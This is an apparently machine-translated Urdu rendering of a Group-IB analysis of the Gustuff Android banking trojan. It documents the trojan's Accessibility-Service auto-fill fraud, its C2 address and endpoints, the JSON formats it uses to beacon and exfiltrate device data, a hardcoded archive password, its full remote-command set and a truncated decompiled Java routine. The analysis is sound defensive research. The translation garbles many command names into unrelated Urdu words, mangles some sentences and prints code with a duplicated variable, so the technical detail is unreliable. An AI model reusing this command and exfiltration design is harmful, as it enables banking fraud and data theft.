اینڈروئیڈ ٹروجن گسٹف آپ کے اکاؤنٹس سے کریم (فیاٹ اور کرپٹو) کو کس طرح سکیم کرتا ہے۔

اینڈروئیڈ ٹروجن گسٹف آپ کے اکاؤنٹس سے کریم (فیاٹ اور کرپٹو) کو کس طرح سکیم کرتا ہے۔

صرف دوسرے دن گروپ-آئی بی مطلع موبائل اینڈرائیڈ ٹروجن گسٹف کی سرگرمی کے بارے میں۔ یہ خصوصی طور پر بین الاقوامی منڈیوں میں کام کرتا ہے، 100 سب سے بڑے غیر ملکی بینکوں کے کلائنٹس، موبائل 32 کرپٹو بٹوے استعمال کرنے والوں کے ساتھ ساتھ بڑے ای کامرس وسائل پر حملہ کرتا ہے۔ لیکن گسٹف کا ڈویلپر بیسٹ آفر کے نام سے روسی بولنے والا سائبر کرائمین ہے۔ کچھ عرصہ پہلے تک، اس نے اپنے ٹروجن کو "علم اور تجربہ رکھنے والے لوگوں کے لیے ایک سنجیدہ پروڈکٹ" کے طور پر سراہا تھا۔

گروپ-IB میں بدنیتی پر مبنی کوڈ تجزیہ کا ماہر ایوان پساریف اپنی تحقیق میں، وہ اس بارے میں تفصیل سے بات کرتا ہے کہ گسٹف کیسے کام کرتا ہے اور اس کے کیا خطرات ہیں۔

گسٹف کس کے لیے شکار کر رہا ہے؟

Gustuff مکمل طور پر خودکار افعال کے ساتھ میلویئر کی ایک نئی نسل سے تعلق رکھتا ہے۔ ڈویلپر کے مطابق، ٹروجن اینڈی بوٹ میلویئر کا ایک نیا اور بہتر ورژن بن گیا ہے، جو نومبر 2017 سے اینڈرائیڈ فونز پر حملہ کر رہا ہے اور معروف بین الاقوامی بینکوں اور ادائیگی کے نظام کی موبائل ایپلی کیشنز کے طور پر چھپے ہوئے فشنگ ویب فارمز کے ذریعے پیسے چرا رہا ہے۔ بیسٹ آفر نے اطلاع دی کہ گسٹف بوٹ کرایہ کی قیمت $800 فی مہینہ تھی۔

گسٹف کے نمونے کے تجزیے سے معلوم ہوا کہ ٹروجن ممکنہ طور پر سب سے بڑے بینکوں، جیسے کہ بینک آف امریکہ، بینک آف اسکاٹ لینڈ، جے پی مورگن، ویلز فارگو، کیپٹل ون، ٹی ڈی بینک، پی این سی بینک کے ساتھ ساتھ کرپٹو والٹس کی موبائل ایپلیکیشنز استعمال کرنے والے صارفین کو نشانہ بنا رہا ہے۔ Bitcoin Wallet، BitPay، Cryptopay، Coinbase، وغیرہ۔

اصل میں ایک کلاسک بینکنگ ٹروجن کے طور پر تخلیق کیا گیا تھا، موجودہ ورژن میں گسٹف نے حملے کے ممکنہ اہداف کی فہرست کو نمایاں طور پر بڑھا دیا ہے۔ بینکوں، فنٹیک کمپنیوں اور کرپٹو سروسز کے لیے اینڈرائیڈ ایپلی کیشنز کے علاوہ، گسٹف کا مقصد مارکیٹ پلیس ایپلی کیشنز، آن لائن اسٹورز، ادائیگی کے نظام اور فوری میسنجر کے صارفین ہیں۔ خاص طور پر، پے پال، ویسٹرن یونین، ای بے، والمارٹ، اسکائپ، واٹس ایپ، گیٹ ٹیکسی، ریولوٹ اور دیگر۔

انٹری پوائنٹ: بڑے پیمانے پر انفیکشن کا حساب

گسٹف کو APKs کے لنکس کے ساتھ SMS میلنگ کے ذریعے اینڈرائیڈ اسمارٹ فونز میں دخول کے "کلاسک" ویکٹر کی خصوصیت ہے۔ جب ایک اینڈرائیڈ ڈیوائس سرور کے حکم پر ٹروجن سے متاثر ہوتی ہے، تو گسٹف متاثرہ فون کے رابطہ ڈیٹا بیس یا سرور ڈیٹا بیس کے ذریعے مزید پھیل سکتا ہے۔ گسٹف کی فعالیت کو بڑے پیمانے پر انفیکشن اور اس کے آپریٹرز کے کاروبار کے زیادہ سے زیادہ سرمایہ کاری کے لیے ڈیزائن کیا گیا ہے - اس میں جائز موبائل بینکنگ ایپلی کیشنز اور کرپٹو والٹس میں ایک منفرد "آٹو فل" فنکشن ہے، جو آپ کو پیسے کی چوری کو تیز کرنے اور اسکیل کرنے کی اجازت دیتا ہے۔

ٹروجن کے مطالعے سے معلوم ہوا ہے کہ اس میں آٹوفل فنکشن کو ایکسیبلٹی سروس کا استعمال کرتے ہوئے لاگو کیا گیا تھا، جو معذور افراد کے لیے ایک سروس ہے۔ گسٹف پہلا ٹروجن نہیں ہے جس نے اس اینڈرائیڈ سروس کا استعمال کرتے ہوئے دیگر ایپلی کیشنز کے ونڈو عناصر کے ساتھ تعامل کے خلاف تحفظ کو کامیابی سے نظرانداز کیا۔ تاہم، کار فلر کے ساتھ ایکسیسبیلٹی سروس کا استعمال اب بھی بہت کم ہے۔

متاثرہ کے فون پر ڈاؤن لوڈ کرنے کے بعد، گسٹف، ایکسیسیبلٹی سروس کا استعمال کرتے ہوئے، حملہ آوروں کے لیے ضروری کارروائیاں کرتے ہوئے، دیگر ایپلی کیشنز (بینکنگ، کریپٹو کرنسی، نیز آن لائن شاپنگ، میسجنگ وغیرہ کے لیے ایپلی کیشنز) کے ونڈو عناصر کے ساتھ بات چیت کرنے کے قابل ہے۔ . مثال کے طور پر، سرور کے حکم پر، ایک ٹروجن بٹن دبا سکتا ہے اور بینکنگ ایپلی کیشنز میں ٹیکسٹ فیلڈز کی قدروں کو تبدیل کر سکتا ہے۔ رسائی سروس میکانزم کا استعمال ٹروجن کو پچھلی نسل کے موبائل ٹروجن کا مقابلہ کرنے کے لیے بینکوں کے ذریعے استعمال کیے جانے والے سیکیورٹی میکانزم کو نظرانداز کرنے کی اجازت دیتا ہے، ساتھ ہی Android OS کے نئے ورژنز میں گوگل کی جانب سے نافذ کردہ سیکیورٹی پالیسی میں تبدیلیاں بھی۔ اس طرح، گسٹف گوگل پروٹیکٹ تحفظ کو غیر فعال کرنے کا طریقہ "جانتا ہے": مصنف کے مطابق، یہ فنکشن 70% کیسز میں کام کرتا ہے۔

اینڈروئیڈ ٹروجن گسٹف آپ کے اکاؤنٹس سے کریم (فیاٹ اور کرپٹو) کو کس طرح سکیم کرتا ہے۔

گسٹف جائز موبائل ایپلیکیشنز کے آئیکون کے ساتھ جعلی پش نوٹیفیکیشن بھی دکھا سکتا ہے۔ صارف PUSH نوٹیفکیشن پر کلک کرتا ہے اور سرور سے ڈاؤن لوڈ کی گئی ایک فشنگ ونڈو دیکھتا ہے، جہاں وہ درخواست کردہ بینک کارڈ یا کرپٹو والیٹ ڈیٹا داخل کرتا ہے۔ ایک اور گسٹف منظر نامے میں، وہ ایپلیکیشن جس کی جانب سے PUSH نوٹیفکیشن ڈسپلے کیا گیا تھا کھول دیا گیا ہے۔ اس صورت میں، میلویئر، سرور کی طرف سے ایکسیسبیلٹی سروس کے ذریعے حکم ملنے پر، جعلی ٹرانزیکشن کے لیے بینکنگ ایپلی کیشن کے فارم فیلڈز کو پُر کر سکتا ہے۔

گسٹف کی فعالیت میں سرور کو متاثرہ ڈیوائس کے بارے میں معلومات بھیجنا، ایس ایم ایس پیغامات کو پڑھنے/ بھیجنے کی صلاحیت، یو ایس ایس ڈی کی درخواستیں بھیجنا، SOCKS5 پراکسی شروع کرنا، ایک لنک پر عمل کرنا، فائلیں بھیجنا (بشمول دستاویزات کے فوٹو اسکین، اسکرین شاٹس، تصاویر) شامل ہیں۔ سرور، ڈیوائس کو فیکٹری سیٹنگز پر ری سیٹ کریں۔

میلویئر تجزیہ

نقصان دہ ایپلیکیشن انسٹال کرنے سے پہلے، Android OS صارف کو ایک ونڈو دکھاتا ہے جس میں گسٹف کے ذریعے درخواست کردہ حقوق کی فہرست ہوتی ہے:

اینڈروئیڈ ٹروجن گسٹف آپ کے اکاؤنٹس سے کریم (فیاٹ اور کرپٹو) کو کس طرح سکیم کرتا ہے۔
صارف کی رضامندی حاصل کرنے کے بعد ہی ایپلیکیشن انسٹال کی جائے گی۔ ایپلیکیشن لانچ کرنے کے بعد، ٹروجن صارف کو ایک ونڈو دکھائے گا:

اینڈروئیڈ ٹروجن گسٹف آپ کے اکاؤنٹس سے کریم (فیاٹ اور کرپٹو) کو کس طرح سکیم کرتا ہے۔
جس کے بعد یہ اپنا آئیکن ہٹا دے گا۔

مصنف کے مطابق، گسٹف کو ایف ٹی ٹی کے ایک پیکر نے پیک کیا ہے۔ سٹارٹ اپ کے بعد، ایپلیکیشن وقتاً فوقتاً CnC سرور سے کمانڈ حاصل کرنے کے لیے رابطہ کرتی ہے۔ ہم نے جن فائلوں کی جانچ کی ہے ان میں ایک IP ایڈریس بطور کنٹرول سرور استعمال کیا گیا ہے۔ 88.99.171[.]105 (اس کے بعد ہم اسے اس طرح بیان کریں گے۔ <%CnC%>).

لانچ کے بعد، پروگرام سرور کو پیغامات بھیجنا شروع کر دیتا ہے۔ http://<%CnC%>/api/v1/get.php.

مندرجہ ذیل فارمیٹ میں جواب JSON ہونے کی توقع ہے:

{
    "results" : "OK",
    "command":{
        "id": "<%id%>",
        "command":"<%command%>",
        "timestamp":"<%Server Timestamp%>",
        "params":{
		<%Command parameters as JSON%>
        },
    },
}

جب بھی ایپلیکیشن تک رسائی حاصل کی جاتی ہے، یہ متاثرہ ڈیوائس کے بارے میں معلومات بھیجتی ہے۔ پیغام کی شکل نیچے دکھائی گئی ہے۔ قابل غور ہے کہ کھیتوں مکمل, اضافی, ایپس и اجازت - اختیاری اور صرف CnC سے درخواست کی کمانڈ کی صورت میں بھیجا جائے گا۔

{
    "info":
    {
        "info":
        {
            "cell":<%Sim operator name%>,
            "country":<%Country ISO%>,
            "imei":<%IMEI%>,
            "number":<%Phone number%>,
            "line1Number":<%Phone number%>,
            "advertisementId":<%ID%>
        },
        "state":
        {
            "admin":<%Has admin rights%>,
            "source":<%String%>,
            "needPermissions":<%Application needs permissions%>,
            "accesByName":<%Boolean%>,
            "accesByService":<%Boolean%>,
            "safetyNet":<%String%>,
            "defaultSmsApp":<%Default Sms Application%>,
            "isDefaultSmsApp":<%Current application is Default Sms Application%>,
            "dateTime":<%Current date time%>,
            "batteryLevel":<%Battery level%>
        },
        "socks":
        {
            "id":<%Proxy module ID%>,
            "enabled":<%Is enabled%>,
            "active":<%Is active%>
        },
        "version":
        {
            "versionName":<%Package Version Name%>,
            "versionCode":<%Package Version Code%>,
            "lastUpdateTime":<%Package Last Update Time%>,
            "tag":<%Tag, default value: "TAG"%>,
            "targetSdkVersion":<%Target Sdk Version%>,
            "buildConfigTimestamp":1541309066721
        },
    },
    "full":
    {
        "model":<%Device Model%>,
        "localeCountry":<%Country%>,
        "localeLang":<%Locale language%>,
        "accounts":<%JSON array, contains from "name" and "type" of accounts%>,
        "lockType":<%Type of lockscreen password%>
    },
    "extra":
    {
        "serial":<%Build serial number%>,
        "board":<%Build Board%>,
        "brand":<%Build Brand%>,
        "user":<%Build User%>,
        "device":<%Build Device%>,
        "display":<%Build Display%>,
        "id":<%Build ID%>,
        "manufacturer":<%Build manufacturer%>,
        "model":<%Build model%>,
        "product":<%Build product%>,
        "tags":<%Build tags%>,
        "type":<%Build type%>,
        "imei":<%imei%>,
        "imsi":<%imsi%>,
        "line1number":<%phonenumber%>,
        "iccid":<%Sim serial number%>,
        "mcc":<%Mobile country code of operator%>,
        "mnc":<%Mobile network codeof operator%>,
        "cellid":<%GSM-data%>,
        "lac":<%GSM-data%>,
        "androidid":<%Android Id%>,
        "ssid":<%Wi-Fi SSID%>
    },
    "apps":{<%List of installed applications%>},
    "permission":<%List of granted permissions%>
} 

کنفیگریشن ڈیٹا کو اسٹور کرنا

گسٹف آپریشنل طور پر اہم معلومات کو ترجیحی فائل میں اسٹور کرتا ہے۔ فائل کا نام، نیز اس میں موجود پیرامیٹرز کے نام، سٹرنگ سے MD5 کی رقم کا حساب لگانے کا نتیجہ ہیں۔ 15413090667214.6.1<%name%>جہاں <%name%> - ابتدائی نام کی قدر۔ نام جنریشن فنکشن کی ازگر کی تشریح:

 nameGenerator(input):
    output = md5("15413090667214.6.1" + input) 

مندرجہ ذیل میں ہم اس کی نشاندہی کریں گے۔ نام پیدا کرنے والا (ان پٹ).
تو پہلی فائل کا نام ہے: nameGenerator("API_SERVER_LIST")، اس میں درج ذیل ناموں کے ساتھ اقدار شامل ہیں:

متغیر نام ویلیو
nameGenerator("API_SERVER_LIST") ایک صف کی شکل میں CnC پتوں کی فہرست پر مشتمل ہے۔
nameGenerator("API_SERVER_URL") CnC ایڈریس پر مشتمل ہے۔
nameGenerator("SMS_UPLOAD") جھنڈا بطور ڈیفالٹ سیٹ ہوتا ہے۔ اگر جھنڈا سیٹ ہے، تو CnC کو SMS پیغامات بھیجتا ہے۔
نام پیدا کرنے والا("SMS_ROOT_NUMBER") وہ فون نمبر جس پر متاثرہ ڈیوائس کے ذریعے موصول ہونے والے SMS پیغامات بھیجے جائیں گے۔ ڈیفالٹ کالعدم ہے۔
نام پیدا کرنے والا("SMS_ROOT_NUMBER_RESEND") جھنڈا بطور ڈیفالٹ صاف کیا جاتا ہے۔ انسٹال ہونے پر، جب کسی متاثرہ ڈیوائس کو ایس ایم ایس موصول ہوتا ہے، تو اسے روٹ نمبر پر بھیجا جائے گا۔
nameGenerator("DEFAULT_APP_SMS") جھنڈا بطور ڈیفالٹ صاف کیا جاتا ہے۔ اگر یہ جھنڈا سیٹ ہے، تو ایپلیکیشن آنے والے SMS پیغامات پر کارروائی کرے گی۔
nameGenerator("DEFAULT_ADMIN") جھنڈا بطور ڈیفالٹ صاف کیا جاتا ہے۔ اگر جھنڈا سیٹ کیا گیا ہے، تو ایپلیکیشن کے پاس منتظم کے حقوق ہیں۔
nameGenerator("DEFAULT_ACCESSIBILITY") جھنڈا بطور ڈیفالٹ صاف کیا جاتا ہے۔ اگر جھنڈا سیٹ ہے تو، ایکسیسبیلٹی سروس استعمال کرنے والی سروس چل رہی ہے۔
nameGenerator("APPS_CONFIG") ایک JSON آبجیکٹ جس میں کارروائیوں کی فہرست ہوتی ہے جو کسی مخصوص ایپلیکیشن سے وابستہ ایکسیسبیلٹی ایونٹ کے متحرک ہونے پر انجام دینا ضروری ہے۔
nameGenerator("APPS_INSTALLED") ڈیوائس پر انسٹال کردہ ایپلیکیشنز کی فہرست اسٹور کرتا ہے۔
nameGenerator("IS_FIST_RUN") پرچم کو پہلی شروعات میں دوبارہ ترتیب دیا گیا ہے۔
nameGenerator("UNIQUE_ID") ایک منفرد شناخت کنندہ پر مشتمل ہے۔ بوٹ پہلی بار لانچ ہونے پر تیار کیا گیا۔

سرور سے کمانڈ پر کارروائی کرنے کے لیے ماڈیول

ایپلی کیشن CnC سرورز کے ایڈریس کو انکوڈ کردہ ایک صف کی شکل میں اسٹور کرتی ہے۔ بیس 85 لائنیں CnC سرورز کی فہرست مناسب کمانڈ کی وصولی پر تبدیل کی جا سکتی ہے، اس صورت میں ایڈریس ترجیحی فائل میں محفوظ کیے جائیں گے۔

درخواست کے جواب میں، سرور درخواست کو ایک کمانڈ بھیجتا ہے۔ یہ بات قابل غور ہے کہ کمانڈز اور پیرامیٹرز JSON فارمیٹ میں پیش کیے گئے ہیں۔ ایپلیکیشن درج ذیل کمانڈز پر کارروائی کر سکتی ہے۔

ٹیم تفصیل
فارورڈ اسٹارٹ متاثرہ ڈیوائس کے ذریعے موصول ہونے والے SMS پیغامات CnC سرور کو بھیجنا شروع کریں۔
فارورڈ اسٹاپ متاثرہ ڈیوائس کے ذریعے موصول ہونے والے SMS پیغامات CnC سرور کو بھیجنا بند کریں۔
ussdRun USSD کی درخواست پر عمل کریں۔ جس نمبر پر آپ کو یو ایس ایس ڈی کی درخواست کرنے کی ضرورت ہے وہ JSON فیلڈ "نمبر" میں موجود ہے۔
ایس ایم ایس بھیجیں۔ ایک ایس ایم ایس پیغام بھیجیں (اگر ضروری ہو تو، پیغام کو حصوں میں تقسیم کیا جاتا ہے)۔ پیرامیٹر کے طور پر، کمانڈ ایک JSON آبجیکٹ لیتی ہے جس میں فیلڈز "to" - منزل نمبر اور "body" - پیغام کا باڈی ہوتا ہے۔
ایس ایم ایس اے بی بھیجیں۔ ایس ایم ایس پیغامات بھیجیں (اگر ضروری ہو تو، پیغام کو حصوں میں تقسیم کیا گیا ہے) متاثرہ آلے کی رابطہ فہرست میں موجود ہر فرد کو۔ پیغامات بھیجنے کے درمیان وقفہ 10 سیکنڈ ہے۔ پیغام کا باڈی JSON فیلڈ "body" میں ہے
SmsMass بھیجیں۔ کمانڈ پیرامیٹرز میں متعین رابطوں کو SMS پیغامات بھیجیں (اگر ضروری ہو تو پیغام کو حصوں میں تقسیم کیا گیا ہے)۔ پیغامات بھیجنے کے درمیان وقفہ 10 سیکنڈ ہے۔ ایک پیرامیٹر کے طور پر، کمانڈ JSON صف ("sms" فیلڈ لیتی ہے، جس کے عناصر میں فیلڈز "to" - منزل نمبر اور "body" - پیغام کا باڈی ہوتا ہے۔
changeServer یہ کمانڈ کلید "url" کے ساتھ پیرامیٹر کے طور پر ایک قدر لے سکتی ہے - پھر بوٹ nameGenerator ("SERVER_URL")، یا "array" کی قدر کو تبدیل کردے گا - پھر بوٹ صف کو nameGenerator ("API_SERVER_LIST") میں لکھے گا۔ اس طرح، ایپلی کیشن CnC سرورز کا پتہ تبدیل کرتی ہے۔
ایڈمن نمبر کمانڈ کو روٹ نمبر کے ساتھ کام کرنے کے لیے ڈیزائن کیا گیا ہے۔ کمانڈ مندرجہ ذیل پیرامیٹرز کے ساتھ JSON آبجیکٹ کو قبول کرتی ہے: "نمبر" - نام جنریٹر ("ROOT_NUMBER") کو موصول ہونے والی قدر میں تبدیل کریں، "دوبارہ بھیجیں" - نام تبدیل کریں ("SMS_ROOT_NUMBER_RESEND") "sendId" - nameGenerator ("ROOT_NUMBER" کو بھیجیں۔ ) منفرد ID۔
تازہ ترین معلومات متاثرہ ڈیوائس کے بارے میں معلومات سرور کو بھیجیں۔
ڈیٹا صاف کریں۔ کمانڈ کا مقصد صارف کا ڈیٹا حذف کرنا ہے۔ ایپلی کیشن کو کس نام سے لانچ کیا گیا تھا اس پر منحصر ہے، یا تو ڈیوائس ریبوٹ (بنیادی صارف) کے ساتھ ڈیٹا کو مکمل طور پر مٹا دیا جاتا ہے، یا صرف صارف کا ڈیٹا حذف کیا جاتا ہے (ثانوی صارف)۔
جرابیں شروع کریں۔ پراکسی ماڈیول لانچ کریں۔ ماڈیول کے آپریشن کو الگ سیکشن میں بیان کیا گیا ہے۔
جرابوں کا اسٹاپ پراکسی ماڈیول کو روکیں۔
لنک کھولیں لنک پر عمل کریں۔ لنک JSON پیرامیٹر میں "url" کلید کے نیچے واقع ہے۔ "android.intent.action.VIEW" لنک ​​کو کھولنے کے لیے استعمال کیا جاتا ہے۔
تمام ایس ایم ایس اپ لوڈ کریں۔ ڈیوائس کے ذریعے موصول ہونے والے تمام SMS پیغامات سرور کو بھیجیں۔
تمام تصاویر اپ لوڈ کریں۔ کسی متاثرہ ڈیوائس سے یو آر ایل پر تصاویر بھیجیں۔ URL ایک پیرامیٹر کے طور پر آتا ہے۔
اپ لوڈ فائل کسی متاثرہ آلے سے کسی URL پر فائل بھیجیں۔ URL ایک پیرامیٹر کے طور پر آتا ہے۔
فون نمبرز اپ لوڈ کریں۔ اپنی رابطہ فہرست سے سرور کو فون نمبر بھیجیں۔ اگر کلید "ab" کے ساتھ JSON آبجیکٹ ویلیو پیرامیٹر کے طور پر موصول ہوتی ہے، تو ایپلیکیشن فون بک سے رابطوں کی فہرست وصول کرتی ہے۔ اگر کلیدی "sms" کے ساتھ JSON آبجیکٹ ایک پیرامیٹر کے طور پر موصول ہوتا ہے، تو ایپلیکیشن SMS پیغامات بھیجنے والوں کے رابطوں کی فہرست پڑھتی ہے۔
آرکائیو کو تبدیل کریں۔ ایپلیکیشن اس ایڈریس سے فائل ڈاؤن لوڈ کرتی ہے جو "url" کلید کا استعمال کرتے ہوئے پیرامیٹر کے طور پر آتا ہے۔ ڈاؤن لوڈ کی گئی فائل کو "archive.zip" کے نام سے محفوظ کیا جاتا ہے۔ اس کے بعد ایپلیکیشن فائل کو ان زپ کر دے گی، اختیاری طور پر آرکائیو پاس ورڈ "b5jXh37gxgHBrZhQ4j3D" استعمال کر کے۔ غیر زپ شدہ فائلوں کو [بیرونی اسٹوریج]/hgps ڈائرکٹری میں محفوظ کیا جاتا ہے۔ اس ڈائرکٹری میں، ایپلی کیشن ویب جعلی (ذیل میں بیان کیا گیا ہے) اسٹور کرتا ہے۔
اعمال کمانڈ کو ایکشن سروس کے ساتھ کام کرنے کے لیے ڈیزائن کیا گیا ہے، جس کی تفصیل الگ سیکشن میں ہے۔
ٹیسٹ کچھ نہیں کر رہے.
ڈاؤن لوڈ، اتارنا کمانڈ کا مقصد ریموٹ سرور سے فائل ڈاؤن لوڈ کرنا اور اسے "ڈاؤن لوڈز" ڈائرکٹری میں محفوظ کرنا ہے۔ URL اور فائل کا نام ایک پیرامیٹر کے طور پر آتے ہیں، JSON پیرامیٹر آبجیکٹ میں بالترتیب: "url" اور "fileName"۔
ہٹا "ڈاؤن لوڈ" ڈائرکٹری سے فائل کو ہٹاتا ہے۔ فائل کا نام JSON پیرامیٹر میں "fileName" کلید کے ساتھ آتا ہے۔ معیاری فائل کا نام "tmp.apk" ہے۔
نوٹیفیکیشن مینجمنٹ سرور کے ذریعہ بیان کردہ تفصیل اور عنوان کے متن کے ساتھ ایک اطلاع دکھائیں۔

کمانڈ فارمیٹ نوٹیفیکیشن:

{
    "results" : "OK",
    "command":{
    "id": <%id%>,
    "command":"notification",
    "timestamp":<%Server Timestamp%>,
    "params":{
        "openApp":<%Open original app or not%>,
        "array":[
                      {"title":<%Title text%>,
                      "desc":<%Description text%>,
                      "app":<%Application name%>}
                   ]
                   },
        },
}

زیر تفتیش فائل کے ذریعہ تیار کردہ نوٹیفکیشن فیلڈ میں مخصوص کردہ ایپلیکیشن کے ذریعہ تیار کردہ اطلاعات سے مماثل نظر آتا ہے۔ اپلی کیشن. اگر فیلڈ ویلیو اوپن ایپ — سچ ہے، جب کوئی اطلاع کھولی جاتی ہے، فیلڈ میں مخصوص کردہ ایپلیکیشن شروع کی جاتی ہے۔ اپلی کیشن. اگر فیلڈ ویلیو اوپن ایپ - غلط، پھر:

  • ایک فشنگ ونڈو کھلتی ہے، جس کے مواد ڈائرکٹری سے ڈاؤن لوڈ ہوتے ہیں۔ <%external storage%>/hgps/<%filename%>
  • ایک فشنگ ونڈو کھلتی ہے، جس کے مواد سرور سے ڈاؤن لوڈ ہوتے ہیں۔ <%url%>?id=<%Bot id%>&app=<%Application name%>
  • ایک فشنگ ونڈو کھلتی ہے، جو گوگل پلے کارڈ کے بھیس میں ہوتی ہے، جس میں کارڈ کی تفصیلات درج کرنے کا موقع ہوتا ہے۔

درخواست کسی بھی کمانڈ کا نتیجہ بھیجتی ہے۔ <%CnC%>set_state.php مندرجہ ذیل فارمیٹ میں JSON آبجیکٹ کے طور پر:

{
    "command":
    {
        "command":<%command%>,
        "id":<%command_id%>,
        "state":<%command_state%>
    }
    "id":<%bot_id%>
}

ایکشن سروس
کمانڈز کی فہرست جو درخواست کے عمل میں شامل ہیں۔ کارروائی. جب کوئی کمانڈ موصول ہوتی ہے تو، کمانڈ پروسیسنگ ماڈیول توسیعی کمانڈ کو انجام دینے کے لیے اس سروس تک رسائی حاصل کرتا ہے۔ سروس JSON آبجیکٹ کو بطور پیرامیٹر قبول کرتی ہے۔ سروس مندرجہ ذیل کمانڈز پر عمل کر سکتی ہے۔

1. PARAMS_ACTION - جب ایسی کمانڈ موصول ہوتی ہے، تو سروس سب سے پہلے JSON پیرامیٹر سے Type key کی قدر وصول کرتی ہے، جو اس طرح ہو سکتی ہے:

  • سروس کی معلومات - ذیلی کمانڈ JSON پیرامیٹر سے کلید کے ذریعہ قدر حاصل کرتی ہے۔ شامل نہیں اہم. اگر جھنڈا سچ ہے، تو ایپلیکیشن جھنڈا سیٹ کرتی ہے۔ FLAG_ISOLATED_PROCESS ایکسیبلٹی سروس کا استعمال کرتے ہوئے کسی سروس کے لیے۔ اس طرح سروس ایک الگ عمل میں شروع کی جائے گی۔
  • جڑ - اس ونڈو کے بارے میں سرور کی معلومات حاصل کریں اور بھیجیں جو فی الحال فوکس میں ہے۔ ایپلیکیشن AccessibilityNodeInfo کلاس کا استعمال کرتے ہوئے معلومات حاصل کرتی ہے۔
  • منتظم - منتظم کے حقوق کی درخواست کریں۔
  • تاخیر - "ڈیٹا" کلید کے پیرامیٹر میں متعین ملی سیکنڈز کی تعداد کے لیے ایکشن سروس کو معطل کریں۔
  • کھڑکیاں - صارف کو دکھائی دینے والی ونڈوز کی فہرست بھیجیں۔
  • انسٹال - متاثرہ ڈیوائس پر ایپلیکیشن انسٹال کریں۔ آرکائیو پیکیج کا نام "فائل نام" کلید میں ہے۔ محفوظ شدہ دستاویزات خود ڈاؤن لوڈ ڈائرکٹری میں واقع ہے۔
  • عالمی - ذیلی کمانڈ کا مقصد موجودہ ونڈو سے نیویگیٹ کرنا ہے:
    • فوری ترتیبات کے مینو پر
    • پیچھے اگلا
    • گھر
    • اطلاعات تک
    • حال ہی میں کھولی گئی ایپلیکیشنز ونڈو میں

  • شروع - ایپلیکیشن لانچ کریں۔ درخواست کا نام کلید کے لحاظ سے ایک پیرامیٹر کے طور پر آتا ہے۔ اعداد و شمار.
  • آواز - ساؤنڈ موڈ کو خاموشی میں تبدیل کریں۔
  • انلاک - اسکرین اور کی بورڈ کی بیک لائٹ کو پوری چمک میں بدل دیتا ہے۔ ایپلیکیشن یہ کارروائی WakeLock کا استعمال کرتے ہوئے کرتی ہے، اسٹرنگ کی وضاحت کرتی ہے [Application lable]:INFO بطور ٹیگ
  • اجازت اوورلے - فنکشن لاگو نہیں کیا گیا ہے (کمانڈ پر عمل درآمد کا جواب ہے {"message":"not support"} or {"message":"low sdk"})
  • اشارہ — فنکشن لاگو نہیں ہوا ہے (کمانڈ پر عمل درآمد کا جواب ہے {"message":"not support"}یا {"message":"Low API"})
  • اجازتیں - یہ کمانڈ درخواست کے لیے اجازت کی درخواست کرنے کے لیے ضروری ہے۔ تاہم، استفسار کا فنکشن لاگو نہیں کیا گیا ہے، لہذا کمانڈ بے معنی ہے۔ درخواست کردہ حقوق کی فہرست "اجازت" کلید کے ساتھ JSON صف کے طور پر آتی ہے۔ معیاری فہرست:
    • android.permission.READ_PHONE_STATE۔
    • android.permission.READ_CONTACTS۔
    • android.permission.CALL_PHONE
    • android.permission.RECEIVE_SMS
    • android.permission.SEND_SMS
    • android.permission.READ_SMS
    • android.permission.READ_EXTERNAL_STORAGE۔
    • android.permission.WRITE_EXTERNAL_STORAGE۔

  • کھول - ایک فشنگ ونڈو ڈسپلے کریں۔ سرور سے آنے والے پیرامیٹر پر منحصر ہے، ایپلیکیشن درج ذیل فشنگ ونڈوز دکھا سکتی ہے۔
    • ایک فشنگ ونڈو دکھائیں جس کے مواد ڈائریکٹری میں فائل میں لکھے گئے ہوں۔ <%بیرونی ڈائریکٹری%>/hgps/<%param_filename%>. ونڈو کے ساتھ صارف کے تعامل کا نتیجہ کو بھیجا جائے گا۔ <%CnC%>/records.php
    • ایک فشنگ ونڈو دکھائیں جس کے مواد ایڈریس سے پہلے سے لوڈ ہوں۔ <%url_param%>?id=<%bot_id%>&app=<%packagename%>. ونڈو کے ساتھ صارف کے تعامل کا نتیجہ کو بھیجا جائے گا۔ <%CnC%>/records.php
    • گوگل پلے کارڈ کے بھیس میں ایک فشنگ ونڈو دکھائیں۔

  • انٹرایکٹو - کمانڈ AcessibilityService کا استعمال کرتے ہوئے دیگر ایپلی کیشنز کے ونڈو عناصر کے ساتھ تعامل کے لیے ڈیزائن کیا گیا ہے۔ پروگرام میں بات چیت کے لیے ایک خصوصی سروس نافذ کی گئی ہے۔ زیر تفتیش درخواست ونڈوز کے ساتھ تعامل کر سکتی ہے:
    • فی الحال فعال۔ اس صورت میں، پیرامیٹر میں اس چیز کی id یا متن (نام) ہوتا ہے جس کے ساتھ آپ کو بات چیت کرنے کی ضرورت ہوتی ہے۔
    • کمانڈ پر عمل درآمد کے وقت صارف کو نظر آتا ہے۔ ایپلیکیشن آئی ڈی کے ذریعہ ونڈوز کا انتخاب کرتی ہے۔

    اشیاء موصول ہونے کے بعد AccessibilityNodeInfo دلچسپی کے ونڈو عناصر کے لئے، درخواست، پیرامیٹرز پر منحصر ہے، درج ذیل اعمال انجام دے سکتی ہے:

    • فوکس - آبجیکٹ پر فوکس سیٹ کریں۔
    • کلک کریں - کسی چیز پر کلک کریں۔
    • ایکشن آئی ڈی - ID کے ذریعہ ایک عمل انجام دیں۔
    • setText - کسی شے کا متن تبدیل کریں۔ متن کو تبدیل کرنا دو طریقوں سے ممکن ہے: ایک عمل انجام دیں۔ ACTION_SET_TEXT (اگر متاثرہ ڈیوائس کا اینڈرائیڈ ورژن اس سے چھوٹا یا اس کے برابر ہے۔ LOLLIPOP)، یا کلپ بورڈ پر سٹرنگ رکھ کر اور اسے کسی چیز میں چسپاں کر کے (پرانے ورژن کے لیے)۔ اس کمانڈ کو بینکنگ ایپلی کیشن میں ڈیٹا تبدیل کرنے کے لیے استعمال کیا جا سکتا ہے۔

2. PARAMS_ACTIONS - ایسا ہی PARAMS_ACTION، کمانڈز کی صرف ایک JSON صف آتی ہے۔

ایسا لگتا ہے کہ بہت سے لوگ اس میں دلچسپی لیں گے کہ کسی اور ایپلی کیشن کے ونڈو عناصر کے ساتھ بات چیت کرنے کا کام کیسا لگتا ہے۔ گسٹف میں اس فعالیت کو اس طرح نافذ کیا جاتا ہے:

boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
    int count = action.optInt("repeat", 1);
    Iterator aiListIterator = ((Iterable)aiList).iterator();
    int count = 0;
    while(aiListIterator.hasNext()) {
        Object ani = aiListIterator.next();
        if(1 <= count) {
            int index;
            for(index = 1; true; ++index) {
